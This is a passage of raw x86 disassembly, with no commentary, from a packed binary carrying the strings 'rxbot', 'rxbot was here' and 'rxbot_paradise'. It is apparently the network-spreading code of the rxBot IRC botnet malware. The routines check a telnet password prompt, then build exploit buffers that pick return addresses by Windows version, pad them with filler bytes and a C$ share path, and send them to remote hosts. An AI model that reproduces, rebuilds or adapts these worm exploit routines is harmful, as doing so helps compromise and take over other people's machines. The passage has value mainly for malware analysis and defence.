dword ptr [esi+3Eh] call sub_403DB2 add esp, 0Ch test eax, eax jz short loc_40B6BA lea eax, [ebp-200h] push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"... push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40B6BA mov eax, [esi] inc dword ptr [eax+2Ah] lea eax, [esi+42h] push eax mov eax, [esi] add esi, 4 push dword ptr [eax+2Ah] push offset aTelnet ; "telnet" push esi push offset unk_4151D8 push offset dword_418E50 call sub_409659 add esp, 18h loc_40B6BA: ; CODE XREF: .packed:0040B647j ; .packed:0040B661j ... pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6BE proc near ; CODE XREF: .packed:0040B82Ap var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403E1F mov esi, dword_412258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40B70D push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B7C9 cmp eax, 0FFFFFFFFh jz loc_40B7C9 loc_40B70D: ; CODE XREF: sub_40B6BE+2Dj push 28h push offset dword_415254 push [ebp+arg_0] call sub_403D9D push ebx push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40B7C9 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40B7C9 cmp eax, 0FFFFFFFFh jz short loc_40B7C9 lea eax, [ebp+var_FDB] push eax call sub_41151C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40B7B6 cmp [ebp+var_FF4], 0 jnz short loc_40B782 xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40B77E: ; CODE XREF: sub_40B6BE+DCj ; sub_40B6BE+F6j ... mov eax, ecx jmp short loc_40B7CB ; --------------------------------------------------------------------------- loc_40B782: ; CODE XREF: sub_40B6BE+B0j cmp [ebp+var_FF4], 1 jnz short loc_40B79C xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B79C: ; CODE XREF: sub_40B6BE+CBj cmp [ebp+var_FF4], 2 jnz short loc_40B7C9 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B7B6: ; CODE XREF: sub_40B6BE+A7j cmp [ebp+var_FF8], 4 jnz short loc_40B7C9 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40B77E ; --------------------------------------------------------------------------- loc_40B7C9: ; CODE XREF: sub_40B6BE+40j ; sub_40B6BE+49j ... xor eax, eax loc_40B7CB: ; CODE XREF: sub_40B6BE+C2j pop edi pop esi pop ebx leave retn sub_40B6BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1204h call sub_411540 push ebx push esi mov esi, [ebp+8] push edi push 3 push offset asc_413214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp-1204h] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 mov edi, eax add esp, 20h test edi, edi jz loc_40B998 and dword ptr [ebp+8], 0 lea eax, [ebp+8] push eax push dword ptr [esi+3Eh] call sub_40B6BE pop ecx mov [ebp-4], eax test eax, eax pop ecx jz loc_40B998 mov ebx, 1000h lea eax, [ebp-1004h] push ebx push 0 push eax call sub_4114E8 ; memset push 2 lea eax, [ebp-1004h] push offset dword_415328 push eax call sub_4114D0 ; memcpy push 1F4h lea eax, [ebp-0F37h] push 90h push eax call sub_4114E8 ; memset lea eax, [ebp-1204h] push edi push eax lea eax, [ebp-0DFCh] push eax call sub_4114D0 ; memcpy push 5 lea eax, [ebp-0BF2h] push offset aRxbot ; "rxbot" push eax call sub_4114D0 ; memcpy push 0Eh lea eax, [ebp-0A2Ch] push offset aRxbotWasHere ; "rxbot was here" push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-928h] push 11h push offset a121204131313 ; "12/12/04 13:13:13" push eax call sub_4114D0 ; memcpy push 0Eh lea eax, [ebp-518h] push offset aRxbot_paradise ; "rxbot_paradise" push eax call sub_4114D0 ; memcpy push 10h lea eax, [ebp-414h] push offset a131_131_131_13 ; "131.131.131.131" push eax call sub_4114D0 ; memcpy mov edi, offset loc_4152D0 push edi call sub_4114BE ; strlen push eax lea eax, [ebp-108h] push edi push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp-0E02h] push offset loc_4152CC push eax call sub_4114D0 ; memcpy add esp, 40h cmp dword ptr [ebp-4], 1 jnz short loc_40B930 mov eax, [ebp+8] mov eax, dword_415280[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B930: ; CODE XREF: .packed:0040B922j cmp dword ptr [ebp-4], 2 jnz short loc_40B942 mov eax, [ebp+8] mov eax, dword_41529C[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B942: ; CODE XREF: .packed:0040B934j cmp dword ptr [ebp-4], 3 mov eax, [ebp+8] jnz short loc_40B954 mov eax, dword_4152B0[eax*4] jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B954: ; CODE XREF: .packed:0040B949j mov eax, dword_4152BC[eax*4] loc_40B95B: ; CODE XREF: .packed:0040B92Ej ; .packed:0040B940j ... mov [ebp-0E00h], eax lea eax, [ebp-1004h] push ebx push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40B998 push 0 lea eax, [ebp-1004h] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv loc_40B998: ; CODE XREF: .packed:0040B819j ; .packed:0040B836j ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B99D proc near ; CODE XREF: sub_40BAAF+5Bp var_1000 = byte ptr -1000h var_FF8 = byte ptr -0FF8h var_FF4 = byte ptr -0FF4h var_FDB = byte ptr -0FDBh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 push ebx push esi mov ebx, 0EA60h push edi push ebx push [ebp+arg_0] call sub_403E1F mov esi, dword_412258 pop ecx test eax, eax pop ecx mov edi, 1000h jz short loc_40B9EC push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40BAA8 cmp eax, 0FFFFFFFFh jz loc_40BAA8 loc_40B9EC: ; CODE XREF: sub_40B99D+2Dj push 28h push offset dword_41532C push [ebp+arg_0] call sub_403D9D push ebx push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40BAA8 push 0 lea eax, [ebp+var_1000] push edi push eax push [ebp+arg_0] call esi ; recv test eax, eax jz loc_40BAA8 cmp eax, 0FFFFFFFFh jz short loc_40BAA8 lea eax, [ebp+var_FDB] push eax call sub_41151C ; atoi cmp [ebp+var_FF8], 5 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax jnz short loc_40BA95 cmp [ebp+var_FF4], 0 jnz short loc_40BA61 xor ecx, ecx cmp eax, 4 setle cl dec ecx and ecx, 0FFFFFFFEh inc ecx inc ecx loc_40BA5D: ; CODE XREF: sub_40B99D+DCj ; sub_40B99D+F6j ... mov eax, ecx jmp short loc_40BAAA ; --------------------------------------------------------------------------- loc_40BA61: ; CODE XREF: sub_40B99D+B0j cmp [ebp+var_FF4], 1 jnz short loc_40BA7B xor ecx, ecx cmp eax, 2 setle cl dec ecx and ecx, 0FFFFFFFDh add ecx, 3 jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BA7B: ; CODE XREF: sub_40B99D+CBj cmp [ebp+var_FF4], 2 jnz short loc_40BAA8 xor ecx, ecx cmp eax, 3 setle cl dec ecx and ecx, 0FFFFFFFCh add ecx, 4 jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BA95: ; CODE XREF: sub_40B99D+A7j cmp [ebp+var_FF8], 4 jnz short loc_40BAA8 xor ecx, ecx cmp eax, 6 setle cl jmp short loc_40BA5D ; --------------------------------------------------------------------------- loc_40BAA8: ; CODE XREF: sub_40B99D+40j ; sub_40B99D+49j ... xor eax, eax loc_40BAAA: ; CODE XREF: sub_40B99D+C2j pop edi pop esi pop ebx leave retn sub_40B99D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAAF proc near ; DATA XREF: .packed:00418044o var_1204 = byte ptr -1204h var_1137 = byte ptr -1137h var_112F = byte ptr -112Fh var_1002 = byte ptr -1002h var_1000 = dword ptr -1000h var_FFC = byte ptr -0FFCh var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1204h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 3 push offset asc_413214 ; "\r\n" push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_204] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+var_4], eax test eax, eax jz loc_40BC0B and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push dword ptr [esi+3Eh] call sub_40B99D mov ebx, eax pop ecx test ebx, ebx pop ecx jz loc_40BC0B mov edi, 1000h lea eax, [ebp+var_1204] push edi push 0 push eax call sub_4114E8 ; memset push 2 lea eax, [ebp+var_1204] push offset dword_415328 push eax call sub_4114D0 ; memcpy push 8 lea eax, [ebp+var_1137] push offset dword_41537C push eax call sub_4114D0 ; memcpy push [ebp+var_4] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_112F] push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp+var_FFC] push offset dword_415358 push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_1002] push offset loc_4152CC push eax call sub_4114D0 ; memcpy add esp, 48h cmp ebx, 1 jnz short loc_40BBA5 mov eax, [ebp+arg_0] mov eax, dword_415388[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBA5: ; CODE XREF: sub_40BAAF+E8j cmp ebx, 2 jnz short loc_40BBB6 mov eax, [ebp+arg_0] mov eax, dword_4153A4[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBB6: ; CODE XREF: sub_40BAAF+F9j mov eax, [ebp+arg_0] cmp ebx, 3 jnz short loc_40BBC7 mov eax, dword_4153B8[eax*4] jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBC7: ; CODE XREF: sub_40BAAF+10Dj mov eax, dword_4153C4[eax*4] loc_40BBCE: ; CODE XREF: sub_40BAAF+F4j ; sub_40BAAF+105j ... mov [ebp+var_1000], eax lea eax, [ebp+var_1204] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BC0B push 0 lea eax, [ebp+var_1204] push edi push eax push dword ptr [esi+3Eh] call dword_412258 ; recv loc_40BC0B: ; CODE XREF: sub_40BAAF+4Aj ; sub_40BAAF+66j ... pop edi pop esi pop ebx leave retn sub_40BAAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC10 proc near ; DATA XREF: .packed:off_417DC6o var_1800 = byte ptr -1800h var_800 = byte ptr -800h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1800h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 1 lea eax, [esi+42h] push eax call sub_40D42D push eax lea eax, [ebp+var_800] push eax push esi call sub_40BCBD add esp, 14h mov [ebp+arg_0], eax test eax, eax jz short loc_40BCB8 push 48h push offset dword_4153D4 push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BCB8 mov edi, dword_412258 mov ebx, 1000h push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv push [ebp+arg_0] lea eax, [ebp+var_800] push eax push dword ptr [esi+3Eh] call sub_403D9D push 0EA60h push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40BCB8 push 0 lea eax, [ebp+var_1800] push ebx push eax push dword ptr [esi+3Eh] call edi ; recv loc_40BCB8: ; CODE XREF: sub_40BC10+34j ; sub_40BC10+57j ... pop edi pop esi pop ebx leave retn sub_40BC10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCBD proc near ; CODE XREF: sub_40BC10+27p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] push 7 push offset dword_415854 push dword ptr [eax+2Ah] lea ecx, [eax+146h] push ecx lea ecx, [eax+0C6h] push ecx push dword ptr [eax+0C2h] lea eax, [ebp+var_200] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+arg_0], eax test eax, eax jnz short loc_40BD04 leave retn ; --------------------------------------------------------------------------- loc_40BD04: ; CODE XREF: sub_40BCBD+43j push ebx push esi push edi add eax, 0D7h push 10h mov ebx, 0B3h cdq pop ecx idiv ecx push 0Ch pop eax sub eax, edx jns short loc_40BD21 add ebx, 10h loc_40BD21: ; CODE XREF: sub_40BCBD+5Fj mov esi, [ebp+arg_4] push 360h push offset dword_415454 push esi sub ebx, edx call sub_4114D0 ; memcpy lea eax, [esi+360h] push 10h push offset dword_4157B8 push eax call sub_4114D0 ; memcpy push 30h lea eax, [esi+370h] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax call sub_4114D0 ; memcpy push 0 lea eax, [esi+3A0h] push ebx push eax call sub_40D5A8 push [ebp+arg_0] lea edi, [ebx+3A0h] lea eax, [ebp+var_200] push eax lea eax, [edi+esi] push eax call sub_4114D0 ; memcpy add edi, [ebp+arg_0] push 3Ch push offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" lea eax, [edi+esi] push eax call sub_4114D0 ; memcpy add esp, 48h add edi, 3Ch push 30h lea eax, [edi+esi] push offset dword_41580C push eax call sub_4114D0 ; memcpy mov eax, [ebp+arg_8] add esp, 0Ch add edi, 30h dec eax lea ecx, [esi+394h] jz short loc_40BDF7 dec eax jz short loc_40BDEE dec eax jz short loc_40BDE5 call sub_40B4C3 test eax, eax push 4 jz short loc_40BDD7 push offset dword_41584C jmp short loc_40BDDC ; --------------------------------------------------------------------------- loc_40BDD7: ; CODE XREF: sub_40BCBD+111j push offset dword_415850 loc_40BDDC: ; CODE XREF: sub_40BCBD+118j lea eax, [esi+394h] push eax jmp short loc_40BDFF ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BCBD+106j push 4 push offset dword_415848 jmp short loc_40BDFE ; --------------------------------------------------------------------------- loc_40BDEE: ; CODE XREF: sub_40BCBD+103j push 4 push offset dword_415844 jmp short loc_40BDFE ; --------------------------------------------------------------------------- loc_40BDF7: ; CODE XREF: sub_40BCBD+100j push 4 push offset dword_415840 loc_40BDFE: ; CODE XREF: sub_40BCBD+12Fj ; sub_40BCBD+138j push ecx loc_40BDFF: ; CODE XREF: sub_40BCBD+126j call sub_4114D0 ; memcpy mov eax, [ebp+arg_0] add esp, 0Ch lea eax, [ebx+eax+30h] lea ecx, [eax-0Ch] add [esi+8], ecx lea ecx, [eax-0Ch] add [esi+10h], ecx lea ecx, [eax-0Ch] add [esi+80h], ecx lea ecx, [eax-0Ch] add [esi+84h], ecx lea ecx, [eax-0Ch] add [esi+0B4h], ecx lea ecx, [eax-0Ch] add [esi+0B8h], ecx lea ecx, [eax-0Ch] add [esi+0D0h], ecx lea ecx, [eax-0Ch] add [esi+18Ch], ecx cdq sub eax, edx sar eax, 1 add [esi+360h], eax add [esi+368h], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40BCBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE68 proc near ; DATA XREF: .packed:00417E00o var_1B68 = byte ptr -1B68h var_B68 = byte ptr -0B68h var_968 = byte ptr -968h var_960 = dword ptr -960h var_958 = dword ptr -958h var_950 = byte ptr -950h var_90C = byte ptr -90Ch var_8EC = byte ptr -8ECh var_8E8 = byte ptr -8E8h var_8E4 = byte ptr -8E4h var_8E0 = byte ptr -8E0h var_8DC = byte ptr -8DCh var_884 = byte ptr -884h var_87E = byte ptr -87Eh var_876 = byte ptr -876h var_872 = byte ptr -872h var_86E = byte ptr -86Eh var_868 = byte ptr -868h var_168 = byte ptr -168h var_7C = byte ptr -7Ch var_72 = byte ptr -72h var_6E = byte ptr -6Eh var_36 = byte ptr -36h var_32 = byte ptr -32h var_2E = byte ptr -2Eh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B68h call sub_411540 push esi push edi mov edi, [ebp+arg_0] push 48h push offset dword_41585C push dword ptr [edi+3Eh] call sub_403D9D push 0EA60h push dword ptr [edi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C131 xor esi, esi lea eax, [ebp+var_1B68] push esi push 1000h push eax push dword ptr [edi+3Eh] call dword_412258 ; recv push 7 push offset dword_415854 push dword ptr [edi+2Ah] lea eax, [edi+146h] push eax lea eax, [edi+0C6h] push eax lea eax, [ebp+var_B68] push dword ptr [edi+0C2h] push 200h push eax call sub_40E399 add esp, 20h cmp eax, esi mov [ebp+arg_0], eax jz loc_40C131 push ebx mov ebx, 168h loc_40BEFC: ; CODE XREF: sub_40BE68+A9j push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_168], al inc esi pop ecx cmp esi, ebx pop ecx jl short loc_40BEFC push 0Ah lea eax, [ebp+var_7C] push offset loc_41594C push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_72] push offset loc_41599C push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_6E] push offset loc_415994 push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_36] push offset loc_415998 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_32] push (offset loc_41598F+1) push eax call sub_4114D0 ; memcpy push 0Bh lea eax, [ebp+var_2E] push offset loc_415940 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_968] mov esi, 3E6h sub esi, [ebp+arg_0] push 18h push offset dword_4158A8 push eax call sub_4114D0 ; memcpy push 44h lea eax, [ebp+var_950] push offset dword_4158C4 push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp+var_90C] push 0FFFFFF90h push eax call sub_4114E8 ; memset push 4 lea eax, [ebp+var_8EC] push offset loc_415958 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_8E8] push offset loc_41598C push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_8E4] push offset dword_415984 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_8E0] push 4 push offset loc_415988 push eax call sub_4114D0 ; memcpy push 58h lea eax, [ebp+var_8DC] push 0FFFFFF90h push eax call sub_4114E8 ; memset push 6 lea eax, [ebp+var_884] push offset loc_415960 push eax call sub_4114D0 ; memcpy push 8 push 0FFFFFF90h lea eax, [ebp+var_87E] push eax call sub_4114E8 ; memset push 4 lea eax, [ebp+var_876] push offset loc_415968 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_872] push 0FFFFFF90h push eax call sub_4114E8 ; memset add esp, 48h lea eax, [ebp+var_86E] push 6 push offset loc_415970 push eax call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_868] push 0FFFFFF90h push eax call sub_4114E8 ; memset push [ebp+arg_0] add esi, 100h lea eax, [ebp+var_B68] push eax lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, [ebp+arg_0] lea eax, [ebp+var_168] push ebx push eax lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, ebx push 0Ah push offset off_415978 lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, 0Ah push 32h push offset dword_41590C lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, 32h add esp, 48h mov [ebp+var_960], esi lea eax, [esi-18h] push esi mov [ebp+var_958], eax lea eax, [ebp+var_968] push eax push dword ptr [edi+3Eh] call sub_403D9D push 0EA60h push dword ptr [edi+3Eh] call sub_403E1F add esp, 14h test eax, eax pop ebx jz short loc_40C131 push 0 lea eax, [ebp+var_1B68] push 1000h push eax push dword ptr [edi+3Eh] call dword_412258 ; recv loc_40C131: ; CODE XREF: sub_40BE68+33j ; sub_40BE68+88j ... pop edi pop esi leave retn sub_40BE68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C135 proc near ; CODE XREF: sub_40C501+F4p ; sub_40C501+102p ... var_A4F0 = byte ptr -0A4F0h var_A488 = byte ptr -0A488h var_8418 = byte ptr -8418h var_7418 = byte ptr -7418h var_73A8 = byte ptr -73A8h var_68E4 = byte ptr -68E4h var_5340 = byte ptr -5340h var_42AC = byte ptr -42ACh var_37E4 = byte ptr -37E4h var_37E1 = byte ptr -37E1h var_37B7 = byte ptr -37B7h var_37B5 = byte ptr -37B5h var_37B4 = byte ptr -37B4h var_27E4 = byte ptr -27E4h var_2768 = byte ptr -2768h var_1F98 = byte ptr -1F98h var_1AED = byte ptr -1AEDh var_1800 = byte ptr -1800h var_101E = byte ptr -101Eh var_101C = byte ptr -101Ch var_100C = byte ptr -100Ch var_CE8 = byte ptr -0CE8h var_CE4 = byte ptr -0CE4h var_CD8 = byte ptr -0CD8h var_A54 = byte ptr -0A54h var_A50 = byte ptr -0A50h var_9B0 = byte ptr -9B0h var_2A4 = byte ptr -2A4h var_294 = byte ptr -294h var_280 = byte ptr -280h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0A4F0h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 7 push offset dword_415854 push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_280] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 mov [ebp+arg_0], eax lea eax, [ebp+var_280] add esp, 20h test eax, eax jz loc_40C4F9 lea eax, [ebp+var_80] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [ebp+var_80] push eax call sub_4117A8 ; wcslen mov ebx, eax push 60h lea eax, [ebp+var_37E4] push offset dword_415BB8 push eax shl ebx, 1 call sub_4114D0 ; memcpy lea eax, [ebp+var_80] push ebx push eax lea eax, [ebp+var_37B4] push eax call sub_4114D0 ; memcpy push 9 lea eax, [ebp+ebx+var_37B5] push (offset aC_0+3) push eax call sub_4114D0 ; memcpy mov al, bl add al, 34h mov [ebp+var_37E1], al mov al, bl add al, 9 add ebx, 38h mov [ebp+var_37B7], al lea eax, [ebp+var_37E4] push ebx push eax push dword ptr [esi+3Eh] call sub_403D9D mov edi, 0EA60h push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 44h test eax, eax jz loc_40C3FE mov ebx, 1000h push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv push 68h push offset dword_415C1C push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C3FE push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv push 0A0h push offset dword_415C88 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C3FE push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv mov ebx, [ebp+arg_4] test ebx, ebx jz loc_40C438 push 2 lea eax, [ebp+var_101E] push offset loc_4152CC push eax call sub_4114D0 ; memcpy lea ebx, ds:415FB0h[ebx*4] push 4 lea eax, [ebp+var_101C] push ebx push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_100C] push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_CE8] push offset loc_415FBC push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_CE4] push ebx push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_CD8] push eax call sub_4114D0 ; memcpy add esp, 48h and [ebp+var_A54], 0 lea eax, [ebp+var_1800] push 0DADh push eax lea eax, [ebp+var_5340] push eax call sub_40588E mov ebx, 1C52h lea eax, [ebp+var_A4F0] push ebx push 31h push eax call sub_4114E8 ; memset push ebx lea eax, [ebp+var_7418] push 31h push eax call sub_4114E8 ; memset push 68h lea eax, [ebp+var_A4F0] push offset dword_415E40 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_5340] push 1B5Ah push eax lea eax, [ebp+var_A488] push eax call sub_4114D0 ; memcpy push 70h lea eax, [ebp+var_7418] push offset dword_415EAC push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_42AC] push 0A5Eh push eax lea eax, [ebp+var_73A8] push eax call sub_4114D0 ; memcpy push 84h lea eax, [ebp+var_68E4] push offset dword_415F20 push eax call sub_4114D0 ; memcpy push 10FCh lea eax, [ebp+var_A4F0] push eax push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 2Ch test eax, eax jnz short loc_40C405 loc_40C3FE: ; CODE XREF: sub_40C135+E2j ; sub_40C135+11Dj ... xor eax, eax jmp loc_40C4FC ; --------------------------------------------------------------------------- loc_40C405: ; CODE XREF: sub_40C135+2C7j push 0 lea eax, [ebp+var_8418] push 640h push eax push dword ptr [esi+3Eh] call dword_412258 ; recv lea eax, [ebp+var_7418] push 0FDCh push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 0Ch jmp loc_40C4F9 ; --------------------------------------------------------------------------- loc_40C438: ; CODE XREF: sub_40C135+174j push 0E29h lea eax, [ebp+var_27E4] push 31h push eax call sub_4114E8 ; memset mov edi, 7D0h push 0 lea eax, [ebp+var_A50] push edi push eax call sub_40D5A8 push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_9B0] push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_2A4] push offset dword_415FB0 push eax call sub_4114D0 ; memcpy push 7 lea eax, [ebp+var_294] push offset sub_415FA8 push eax call sub_4114D0 ; memcpy push 7Ch lea eax, [ebp+var_27E4] push offset dword_415D2C push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_A50] push edi push eax lea eax, [ebp+var_2768] push eax call sub_4114D0 ; memcpy push 90h lea eax, [ebp+var_1F98] push offset off_415DAC push eax call sub_4114D0 ; memcpy and [ebp+var_1AED], 0 lea eax, [ebp+var_27E4] push 0CF8h push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 24h loc_40C4F9: ; CODE XREF: sub_40C135+50j ; sub_40C135+2FEj push 1 pop eax loc_40C4FC: ; CODE XREF: sub_40C135+2CBj pop edi pop esi pop ebx leave retn sub_40C135 endp ; =============== S U B R O U T I N E ======================================= sub_40C501 proc near ; CODE XREF: sub_40C501+12Bp ; DATA XREF: .packed:00417E74o var_30 = dword ptr -30h var_1C = byte ptr -1Ch var_C = byte ptr -0Ch arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_1004 = dword ptr 1008h mov eax, 1004h call sub_411540 push ebx push ebp push esi mov esi, [esp+0Ch+arg_1004] xor ebx, ebx push edi cmp [esi+3Eh], ebx mov [esp+10h], ebx mov edi, 0EA60h jnz short loc_40C54B push edi lea eax, [esi+17h] push ebx push eax lea eax, [esi+42h] mov dword ptr [esp+1Ch], 1 push eax call sub_403C04 add esp, 10h cmp eax, ebx mov [esi+3Eh], eax jz loc_40C633 loc_40C54B: ; CODE XREF: sub_40C501+23j push 89h push offset dword_4159A0 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C633 mov ebp, 1000h push ebx mov ebx, dword_412258 lea eax, [esp+14h+arg_0] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0A8h push offset dword_415A2C push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C633 push 0 lea eax, [esp+24h+var_C] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0DEh push offset dword_415AD8 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40C633 xor edi, edi lea eax, [esp+30h+var_1C] push edi push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv cmp [esp+40h+arg_14], 30h jnz short loc_40C60A push 1 push esi call sub_40C135 pop ecx test eax, eax pop ecx jnz short loc_40C60A push 2 push esi call sub_40C135 jmp short loc_40C631 ; --------------------------------------------------------------------------- loc_40C60A: ; CODE XREF: sub_40C501+EFj ; sub_40C501+FDj cmp [esp+40h+arg_14], 31h jnz short loc_40C633 push edi push esi call sub_40C135 cmp 